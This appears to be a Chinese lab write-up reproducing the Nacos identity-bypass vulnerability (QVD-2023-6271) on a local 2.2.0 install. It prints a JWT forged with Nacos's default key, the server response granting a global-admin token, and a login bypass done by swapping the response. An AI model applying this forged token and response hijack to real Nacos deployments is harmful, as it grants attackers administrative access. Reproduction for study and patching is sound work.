Nacos身份绕过漏洞复现(QVD-2023-6271)
环境配置
该漏洞主要用了win10_JAVA的环境,参考网上已有的复现文章,使用jdk-11.0.2_windows-x64_bin.exe
由于2.2.0之后的nacos已将本漏洞修复,所以本次复现使用2.2.0的包
下载完毕解压至虚拟机后,执行
startup.cmd -m standalone
启动本地nacos
有意思的点
度盘没会员,又弄不明白电驴,所以关于下载win10 iso找了几位师傅都无果,后续查找解决方法发现在windows官网中,F12+ctrl shift M,将UA设为ipone系设备再刷新,可直接进行下载。
复现过程
获取相应cookie
本漏洞须先准备一大于目前系统时间的时间戳,本机目前时间为2023/11/25,所以直接构造2023/11/26即可(1700982711)
使用nacos默认key进行jwt伪造
具体位置如下图:
直接把时间戳写进去即可:
得到值:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0
构造请求包
这里报了个500的错,搜了一些资料,问了几位师傅都寄了
后来问了项目组的师傅,说是类型的问题,添加
Content-Type: application/x-www-form-urlencoded
即可
得到Token消息:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=96ABFAC9B2CE500678E99664225AE34F; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0
Content-Type: application/json
Date: Sat, 25 Nov 2023 07:35:21 GMT
Content-Length: 197{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
登录
使用hongzh0/hongzh0登录必然是登录不上的
劫持响应,将刚才的返回包替换掉后即可成功登录